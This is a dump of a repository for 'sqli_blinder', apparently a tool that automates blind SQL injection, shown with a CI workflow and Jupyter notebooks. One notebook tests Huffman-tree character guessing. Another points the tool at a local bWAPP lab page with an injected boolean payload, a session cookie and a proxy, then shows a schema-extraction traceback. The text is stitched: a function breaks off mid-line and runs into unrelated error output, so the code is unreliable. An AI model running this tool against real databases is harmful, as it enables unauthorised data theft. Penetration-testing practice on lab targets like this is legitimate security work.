├── .github └── workflows │ └── codeql-analysis.yml ├── .gitignore ├── Huffman tree test.ipynb ├── README.md ├── TODO.md ├── example.ipynb ├── sqli_blinder ├── __init__.py ├── aio │ ├── __init__.py │ └── aioblinder.py ├── blinder.py ├── engines.py ├── huffman_tree.py └── statistics.py ├── sqlib.py └── sqlib_async.py /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ master ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ master ] 20 | schedule: 21 | - cron: '20 2 * * 5' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | 28 | strategy: 29 | fail-fast: false 30 | matrix: 31 | language: [ 'python' ] 32 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] 33 | # Learn more: 34 | # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed 35 | 36 | steps: 37 | - name: Checkout repository 38 | uses: actions/checkout@v2 39 | 40 | # Initializes the CodeQL tools for scanning. 41 | - name: Initialize CodeQL 42 | uses: github/codeql-action/init@v1 43 | with: 44 | languages: ${{ matrix.language }} 45 | # If you wish to specify custom queries, you can do so here or in a config file. 46 | # By default, queries listed here will override any specified in a config file. 47 | # Prefix the list here with "+" to use these queries and those in the config file. 48 | # queries: ./path/to/local/query, your-org/your-repo/queries@main 49 | 50 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 51 | # If this step fails, then you should remove it and run the build manually (see below) 52 | - name: Autobuild 53 | uses: github/codeql-action/autobuild@v1 54 | 55 | # ℹ️ Command-line programs to run using the OS shell. 56 | # 📚 https://git.io/JvXDl 57 | 58 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines 59 | # and modify them (or add more) to build your code if your project 60 | # uses a compiled language 61 | 62 | #- run: | 63 | # make bootstrap 64 | # make release 65 | 66 | - name: Perform CodeQL Analysis 67 | uses: github/codeql-action/analyze@v1 68 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .ipynb_checkpoints 2 | __pycache__ -------------------------------------------------------------------------------- /Huffman tree test.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 9, 6 | "id": "59163c5d", 7 | "metadata": {}, 8 | "outputs": [], 9 | "source": [ 10 | "import math" 11 | ] 12 | }, 13 | { 14 | "cell_type": "code", 15 | "execution_count": 3, 16 | "id": "b8572878", 17 | "metadata": {}, 18 | "outputs": [], 19 | "source": [ 20 | "from sqli_blinder.huffman_tree import *" 21 | ] 22 | }, 23 | { 24 | "cell_type": "code", 25 | "execution_count": 54, 26 | "id": "b88396ca", 27 | "metadata": {}, 28 | "outputs": [], 29 | "source": [ 30 | "x = [0.4,0.3,0.2,0.1]\n" 31 | ] 32 | }, 33 | { 34 | "cell_type": "code", 35 | "execution_count": 31, 36 | "id": "50952d94", 37 | "metadata": {}, 38 | "outputs": [], 39 | "source": [ 40 | "data = {'A': 36, 'L': 15, 'B': 3, 'E': 36, 'R': 39, 'T': 22, 'N': 24, 'D': 15, 'W': 5, 'H': 19, 'O': 21, 'Y': 11, 'U': 6, 'I': 15, 'C': 9, 'S': 14, 'P': 6, 'V': 3, 'G': 8, 'F': 3, 'K': 7, 'J': 13, 'M': 8}\n", 41 | "#data = {'R': 37, 'O': 28, 'G': 9, 'E': 36, 'S': 25, 'N': 27, 'D': 8, 'I': 22, 'U': 4, 'Z': 8, 'V': 2, 'A': 28, 'B': 6, 'P': 8, 'K': 7, 'W': 9, 'L': 29, 'T': 16, 'H': 14, 'M': 14, 'C': 10, 'J': 3, 'Y': 3}\n", 42 | "#data = {'A':4,'B':3,'C':2,'D':1}" 43 | ] 44 | }, 45 | { 46 | "cell_type": "code", 47 | "execution_count": 32, 48 | "id": "724924ee", 49 | "metadata": {}, 50 | "outputs": [ 51 | { 52 | "data": { 53 | "text/plain": [ 54 | "23" 55 | ] 56 | }, 57 | "execution_count": 32, 58 | "metadata": {}, 59 | "output_type": "execute_result" 60 | } 61 | ], 62 | "source": [ 63 | "len(data)" 64 | ] 65 | }, 66 | { 67 | "cell_type": "code", 68 | "execution_count": 33, 69 | "id": "590d4a6e", 70 | "metadata": {}, 71 | "outputs": [], 72 | "source": [ 73 | "data['CANNARY'] = 1" 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "execution_count": 34, 79 | "id": "67b0ba67", 80 | "metadata": {}, 81 | "outputs": [], 82 | "source": [ 83 | "tree = huffman_tree(data)" 84 | ] 85 | }, 86 | { 87 | "cell_type": "code", 88 | "execution_count": 35, 89 | "id": "dc545a5d", 90 | "metadata": {}, 91 | "outputs": [], 92 | "source": [ 93 | "def get_chars_in_tree(tree):\n", 94 | " res = []\n", 95 | " subtrees = [tree[0],tree[1]]\n", 96 | " for subtree in subtrees: \n", 97 | " if type(subtree[1])==float:\n", 98 | " res.append(subtree[0])\n", 99 | " else:\n", 100 | " res+=get_chars(subtree)\n", 101 | " return res\n", 102 | " \n", 103 | " " 104 | ] 105 | }, 106 | { 107 | "cell_type": "code", 108 | "execution_count": 37, 109 | "id": "566de73f", 110 | "metadata": {}, 111 | "outputs": [ 112 | { 113 | "data": { 114 | "text/plain": [ 115 | "24" 116 | ] 117 | }, 118 | "execution_count": 37, 119 | "metadata": {}, 120 | "output_type": "execute_result" 121 | } 122 | ], 123 | "source": [ 124 | "len(get_chars(tree))" 125 | ] 126 | }, 127 | { 128 | "cell_type": "code", 129 | "execution_count": 21, 130 | "id": "1295effc", 131 | "metadata": {}, 132 | "outputs": [ 133 | { 134 | "data": { 135 | "text/plain": [ 136 | "(((((('I', 0.04424778761061947), ('D', 0.04424778761061947)),\n", 137 | " (('L', 0.04424778761061947), ('S', 0.04129793510324484))),\n", 138 | " ((('J', 0.038348082595870206),\n", 139 | " (('K', 0.02064896755162242), ('P', 0.017699115044247787))),\n", 140 | " ('N', 0.07079646017699115))),\n", 141 | " ((((('U', 0.017699115044247787),\n", 142 | " (('F', 0.008849557522123894), ('V', 0.008849557522123894))),\n", 143 | " ('Y', 0.032448377581120944)),\n", 144 | " ('T', 0.06489675516224189)),\n", 145 | " (('O', 0.061946902654867256), ('H', 0.05604719764011799)))),\n", 146 | " ((('R', 0.11504424778761062), ('E', 0.10619469026548672)),\n", 147 | " (('A', 0.10619469026548672),\n", 148 | " ((('C', 0.02654867256637168),\n", 149 | " (('W', 0.014749262536873156),\n", 150 | " (('B', 0.008849557522123894), ('CANNARY', 0.0029498525073746312)))),\n", 151 | " (('M', 0.02359882005899705), ('G', 0.02359882005899705))))))" 152 | ] 153 | }, 154 | "execution_count": 21, 155 | "metadata": {}, 156 | "output_type": "execute_result" 157 | } 158 | ], 159 | "source": [ 160 | "chars = []\n", 161 | "\n", 162 | "while True:\n", 163 | " \n", 164 | " " 165 | ] 166 | }, 167 | { 168 | "cell_type": "code", 169 | "execution_count": 10, 170 | "id": "9b7ef2df", 171 | "metadata": {}, 172 | "outputs": [ 173 | { 174 | "data": { 175 | "text/plain": [ 176 | "4.523561956057013" 177 | ] 178 | }, 179 | "execution_count": 10, 180 | "metadata": {}, 181 | "output_type": "execute_result" 182 | } 183 | ], 184 | "source": [ 185 | "math.log2(len(data))" 186 | ] 187 | }, 188 | { 189 | "cell_type": "code", 190 | "execution_count": 13, 191 | "id": "04a1cb0c", 192 | "metadata": {}, 193 | "outputs": [ 194 | { 195 | "data": { 196 | "text/plain": [ 197 | "4.204142011834319" 198 | ] 199 | }, 200 | "execution_count": 13, 201 | "metadata": {}, 202 | "output_type": "execute_result" 203 | } 204 | ], 205 | "source": [ 206 | "score(tree)" 207 | ] 208 | }, 209 | { 210 | "cell_type": "code", 211 | "execution_count": 14, 212 | "id": "8f0e5516", 213 | "metadata": {}, 214 | "outputs": [ 215 | { 216 | "data": { 217 | "text/plain": [ 218 | "(((((('I', 0.04437869822485207), ('D', 0.04437869822485207)),\n", 219 | " (('L', 0.04437869822485207), ('S', 0.04142011834319527))),\n", 220 | " ((('J', 0.038461538461538464),\n", 221 | " (('K', 0.020710059171597635), ('P', 0.01775147928994083))),\n", 222 | " ('N', 0.07100591715976332))),\n", 223 | " ((((('U', 0.01775147928994083),\n", 224 | " (('V', 0.008875739644970414), ('B', 0.008875739644970414))),\n", 225 | " ('Y', 0.03254437869822485)),\n", 226 | " ('T', 0.0650887573964497)),\n", 227 | " (('O', 0.0621301775147929), ('H', 0.05621301775147929)))),\n", 228 | " ((('R', 0.11538461538461539), ('E', 0.10650887573964497)),\n", 229 | " (('A', 0.10650887573964497),\n", 230 | " ((('C', 0.026627218934911243), ('M', 0.023668639053254437)),\n", 231 | " (('G', 0.023668639053254437),\n", 232 | " (('W', 0.014792899408284023), ('F', 0.008875739644970414)))))))" 233 | ] 234 | }, 235 | "execution_count": 14, 236 | "metadata": {}, 237 | "output_type": "execute_result" 238 | } 239 | ], 240 | "source": [ 241 | "tree" 242 | ] 243 | }, 244 | { 245 | "cell_type": "code", 246 | "execution_count": 136, 247 | "id": "1038defa", 248 | "metadata": {}, 249 | "outputs": [], 250 | "source": [ 251 | "def huffman_tree(stats):\n", 252 | "\n", 253 | " total = sum([stats[k] for k in stats])\n", 254 | " data = [(ch,stats[ch]*1./total) for ch in stats]\n", 255 | "\n", 256 | " #data_sorted = np.sort(data)[::-1]\n", 257 | " #data_sorted = sorted(data)[::-1]\n", 258 | " data_sorted = sorted(data,key=lambda x: x[1])[::-1]\n", 259 | " struct = [(x,x) for x in data_sorted]\n", 260 | "\n", 261 | " while True: \n", 262 | " a2=struct.pop()\n", 263 | " a1=struct.pop()\n", 264 | " new_val = a1[0][1]+a2[0][1]\n", 265 | " new_tree = (a1[1],a2[1])\n", 266 | " for i in range(len(struct)):\n", 267 | " if struct[i][0][1]\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0m saved_stats \u001b[38;5;241m=\u001b[39m \u001b[43msqlib\u001b[49m\u001b[38;5;241m.\u001b[39mstatistics\n", 103 | "\u001b[0;31mNameError\u001b[0m: name 'sqlib' is not defined" 104 | ] 105 | } 106 | ], 107 | "source": [ 108 | "saved_stats = sqlib.statistics " 109 | ] 110 | }, 111 | { 112 | "cell_type": "code", 113 | "execution_count": 6, 114 | "metadata": {}, 115 | "outputs": [], 116 | "source": [ 117 | "sqlib = sqli_blinder.SQLiBlinder(example_func,'mysql',multithreaded=True,)" 118 | ] 119 | }, 120 | { 121 | "cell_type": "code", 122 | "execution_count": 73, 123 | "metadata": {}, 124 | "outputs": [], 125 | "source": [ 126 | "sqlib.statistics = saved_stats" 127 | ] 128 | }, 129 | { 130 | "cell_type": "code", 131 | "execution_count": 7, 132 | "metadata": {}, 133 | "outputs": [ 134 | { 135 | "data": { 136 | "text/plain": [ 137 | "True" 138 | ] 139 | }, 140 | "execution_count": 7, 141 | "metadata": {}, 142 | "output_type": "execute_result" 143 | } 144 | ], 145 | "source": [ 146 | "sqlib.check()" 147 | ] 148 | }, 149 | { 150 | "cell_type": "code", 151 | "execution_count": 6, 152 | "metadata": { 153 | "collapsed": true 154 | }, 155 | "outputs": [ 156 | { 157 | "name": "stderr", 158 | "output_type": "stream", 159 | "text": [ 160 | "WARNING:root:['bWAPP']\n" 161 | ] 162 | }, 163 | { 164 | "ename": "KeyboardInterrupt", 165 | "evalue": "", 166 | "output_type": "error", 167 | "traceback": [ 168 | "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m", 169 | "\u001b[0;31mKeyboardInterrupt\u001b[0m Traceback (most recent call last)", 170 | "Input \u001b[0;32mIn [6]\u001b[0m, in \u001b[0;36m\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0m \u001b[43msqlib\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget_schemata\u001b[49m\u001b[43m(\u001b[49m\u001b[43m)\u001b[49m\n", 171 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:337\u001b[0m, in \u001b[0;36mSQLiBlinder.get_schemata\u001b[0;34m(self, alphabet)\u001b[0m\n\u001b[1;32m 335\u001b[0m \t\tlogging\u001b[38;5;241m.\u001b[39minfo(\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mdbms\u001b[38;5;241m.\u001b[39mschemata_disclaimer)\n\u001b[1;32m 336\u001b[0m \tcolumn, table, where \u001b[38;5;241m=\u001b[39m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mdbms\u001b[38;5;241m.\u001b[39mschemata_query\n\u001b[0;32m--> 337\u001b[0m \t\u001b[38;5;28;01mreturn\u001b[39;00m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget\u001b[49m\u001b[43m(\u001b[49m\u001b[43m[\u001b[49m\u001b[43mcolumn\u001b[49m\u001b[43m]\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mtable\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mwhere\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mwhere\u001b[49m\u001b[43m,\u001b[49m\u001b[43malphabet\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43malphabet\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 338\u001b[0m \u001b[38;5;28;01melse\u001b[39;00m:\n\u001b[1;32m 339\u001b[0m \tlogging\u001b[38;5;241m.\u001b[39minfo(\u001b[38;5;124mf\u001b[39m\u001b[38;5;124m\"\u001b[39m\u001b[38;5;132;01m{\u001b[39;00m\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mdbms\u001b[38;5;132;01m}\u001b[39;00m\u001b[38;5;124m schemata request is not supported\u001b[39m\u001b[38;5;124m\"\u001b[39m)\n", 172 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:309\u001b[0m, in \u001b[0;36mSQLiBlinder.get\u001b[0;34m(self, columns, table_name, where, order_by, alphabet)\u001b[0m\n\u001b[1;32m 307\u001b[0m cs \u001b[38;5;241m=\u001b[39m []\n\u001b[1;32m 308\u001b[0m \u001b[38;5;28;01mfor\u001b[39;00m column \u001b[38;5;129;01min\u001b[39;00m columns:\n\u001b[0;32m--> 309\u001b[0m \tvalue \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget_string\u001b[49m\u001b[43m(\u001b[49m\u001b[43mtable_name\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mcolumn\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mi\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m+\u001b[39;49m\u001b[43m \u001b[49m\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mdbms\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43moffset_shift\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mwhere\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43morder_by\u001b[49m\u001b[43m,\u001b[49m\u001b[43malphabet\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43malphabet\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 310\u001b[0m \t\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mstatistics\u001b[38;5;241m.\u001b[39mlog(table_name,column,value)\n\u001b[1;32m 311\u001b[0m \tcs\u001b[38;5;241m.\u001b[39mappend(value)\n", 173 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:287\u001b[0m, in \u001b[0;36mSQLiBlinder.get_string\u001b[0;34m(self, table_name, column_name, index, where, order_by, alphabet)\u001b[0m\n\u001b[1;32m 285\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;129;01mnot\u001b[39;00m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mmultithreaded:\n\u001b[1;32m 286\u001b[0m \t\u001b[38;5;28;01mfor\u001b[39;00m i \u001b[38;5;129;01min\u001b[39;00m \u001b[38;5;28mrange\u001b[39m(l):\n\u001b[0;32m--> 287\u001b[0m \t\tr \u001b[38;5;241m+\u001b[39m\u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget_char\u001b[49m\u001b[43m(\u001b[49m\u001b[43mtable_name\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mcolumn_name\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 288\u001b[0m \u001b[43m\t\t\t\t\t\t \u001b[49m\u001b[43mindex\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mi\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m+\u001b[39;49m\u001b[43m \u001b[49m\u001b[38;5;241;43m1\u001b[39;49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mwhere\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43morder_by\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43malphabet\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 290\u001b[0m \t\u001b[38;5;28;01mreturn\u001b[39;00m r \u001b[38;5;241m+\u001b[39m suffix\n\u001b[1;32m 291\u001b[0m \u001b[38;5;28;01melse\u001b[39;00m:\n", 174 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:264\u001b[0m, in \u001b[0;36mSQLiBlinder.get_char\u001b[0;34m(self, table_name, column_name, index, str_pos, where, order_by, alphabet)\u001b[0m\n\u001b[1;32m 262\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m res_found\u001b[38;5;241m==\u001b[39m\u001b[38;5;28;01mFalse\u001b[39;00m:\n\u001b[1;32m 263\u001b[0m \t\u001b[38;5;28;01mif\u001b[39;00m alphabet \u001b[38;5;129;01mis\u001b[39;00m \u001b[38;5;28;01mNone\u001b[39;00m:\n\u001b[0;32m--> 264\u001b[0m \t\tres \u001b[38;5;241m=\u001b[39m \u001b[38;5;28mchr\u001b[39m(\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mbinary_search\u001b[49m\u001b[43m(\u001b[49m\u001b[43ms\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mascii_search_limit\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;28;43;01mTrue\u001b[39;49;00m\u001b[43m)\u001b[49m)\n\u001b[1;32m 265\u001b[0m \t\u001b[38;5;28;01melse\u001b[39;00m:\n\u001b[1;32m 266\u001b[0m \t\tres \u001b[38;5;241m=\u001b[39m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mbinary_search_set(s,alphabet)\n", 175 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:138\u001b[0m, in \u001b[0;36mSQLiBlinder.binary_search\u001b[0;34m(self, s, start_val, start_val_defined, search_for_number, not_char_request)\u001b[0m\n\u001b[1;32m 136\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m(not_char_request):\n\u001b[1;32m 137\u001b[0m \t\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mnot_char_requests\u001b[38;5;241m+\u001b[39m\u001b[38;5;241m=\u001b[39m\u001b[38;5;241m1\u001b[39m\n\u001b[0;32m--> 138\u001b[0m r \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget_bool\u001b[49m\u001b[43m(\u001b[49m\u001b[43msql\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 139\u001b[0m \u001b[38;5;66;03m# print r\u001b[39;00m\n\u001b[1;32m 140\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m move \u001b[38;5;241m<\u001b[39m \u001b[38;5;241m1\u001b[39m:\n", 176 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:113\u001b[0m, in \u001b[0;36mSQLiBlinder.get_bool\u001b[0;34m(self, sql)\u001b[0m\n\u001b[1;32m 111\u001b[0m \u001b[38;5;28;01mdef\u001b[39;00m \u001b[38;5;21mget_bool\u001b[39m(\u001b[38;5;28mself\u001b[39m, sql):\n\u001b[1;32m 112\u001b[0m \t\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mtotal_requests\u001b[38;5;241m+\u001b[39m\u001b[38;5;241m=\u001b[39m\u001b[38;5;241m1\u001b[39m\n\u001b[0;32m--> 113\u001b[0m \t\u001b[38;5;28;01mreturn\u001b[39;00m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mrequest_func\u001b[49m\u001b[43m(\u001b[49m\u001b[43msql\u001b[49m\u001b[43m)\u001b[49m\n", 177 | "Input \u001b[0;32mIn [3]\u001b[0m, in \u001b[0;36mexample_func\u001b[0;34m(sql)\u001b[0m\n\u001b[1;32m 11\u001b[0m burp0_cookies \u001b[38;5;241m=\u001b[39m { \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mPHPSESSID\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mhgri8v7sfu8i3rug0fdas26rb4\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124msecurity_level\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124m0\u001b[39m\u001b[38;5;124m\"\u001b[39m}\n\u001b[1;32m 12\u001b[0m burp0_headers \u001b[38;5;241m=\u001b[39m {\u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mUser-Agent\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mAccept\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mtext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mAccept-Language\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mAccept-Encoding\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mgzip, deflate\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mConnection\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mclose\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mReferer\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mhttp://localhost:8000/sqli_4.php?title=fefe\u001b[39m\u001b[38;5;124m%\u001b[39m\u001b[38;5;124m27+or+1\u001b[39m\u001b[38;5;124m%\u001b[39m\u001b[38;5;124m3D\u001b[39m\u001b[38;5;124m%\u001b[39m\u001b[38;5;124m271&action=search\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mUpgrade-Insecure-Requests\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124m1\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mSec-Fetch-Dest\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mdocument\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mSec-Fetch-Mode\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mnavigate\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mSec-Fetch-Site\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124msame-origin\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mSec-Fetch-User\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124m?1\u001b[39m\u001b[38;5;124m\"\u001b[39m}\n\u001b[0;32m---> 13\u001b[0m r \u001b[38;5;241m=\u001b[39m \u001b[43mrequests\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget\u001b[49m\u001b[43m(\u001b[49m\u001b[43mburp0_url\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mheaders\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mburp0_headers\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mcookies\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mburp0_cookies\u001b[49m\u001b[43m,\u001b[49m\u001b[43mparams\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mparams\u001b[49m\u001b[43m,\u001b[49m\u001b[43mproxies\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mproxyDict\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 14\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;124m'\u001b[39m\u001b[38;5;124mThe movie exists in our database\u001b[39m\u001b[38;5;124m'\u001b[39m \u001b[38;5;129;01min\u001b[39;00m r\u001b[38;5;241m.\u001b[39mtext: \n\u001b[1;32m 15\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m \u001b[38;5;28;01mTrue\u001b[39;00m\n", 178 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/api.py:75\u001b[0m, in \u001b[0;36mget\u001b[0;34m(url, params, **kwargs)\u001b[0m\n\u001b[1;32m 64\u001b[0m \u001b[38;5;28;01mdef\u001b[39;00m \u001b[38;5;21mget\u001b[39m(url, params\u001b[38;5;241m=\u001b[39m\u001b[38;5;28;01mNone\u001b[39;00m, \u001b[38;5;241m*\u001b[39m\u001b[38;5;241m*\u001b[39mkwargs):\n\u001b[1;32m 65\u001b[0m \u001b[38;5;124mr\u001b[39m\u001b[38;5;124;03m\"\"\"Sends a GET request.\u001b[39;00m\n\u001b[1;32m 66\u001b[0m \n\u001b[1;32m 67\u001b[0m \u001b[38;5;124;03m :param url: URL for the new :class:`Request` object.\u001b[39;00m\n\u001b[0;32m (...)\u001b[0m\n\u001b[1;32m 72\u001b[0m \u001b[38;5;124;03m :rtype: requests.Response\u001b[39;00m\n\u001b[1;32m 73\u001b[0m \u001b[38;5;124;03m \"\"\"\u001b[39;00m\n\u001b[0;32m---> 75\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m \u001b[43mrequest\u001b[49m\u001b[43m(\u001b[49m\u001b[38;5;124;43m'\u001b[39;49m\u001b[38;5;124;43mget\u001b[39;49m\u001b[38;5;124;43m'\u001b[39;49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43murl\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mparams\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mparams\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[43mkwargs\u001b[49m\u001b[43m)\u001b[49m\n", 179 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/api.py:61\u001b[0m, in \u001b[0;36mrequest\u001b[0;34m(method, url, **kwargs)\u001b[0m\n\u001b[1;32m 57\u001b[0m \u001b[38;5;66;03m# By using the 'with' statement we are sure the session is closed, thus we\u001b[39;00m\n\u001b[1;32m 58\u001b[0m \u001b[38;5;66;03m# avoid leaving sockets open which can trigger a ResourceWarning in some\u001b[39;00m\n\u001b[1;32m 59\u001b[0m 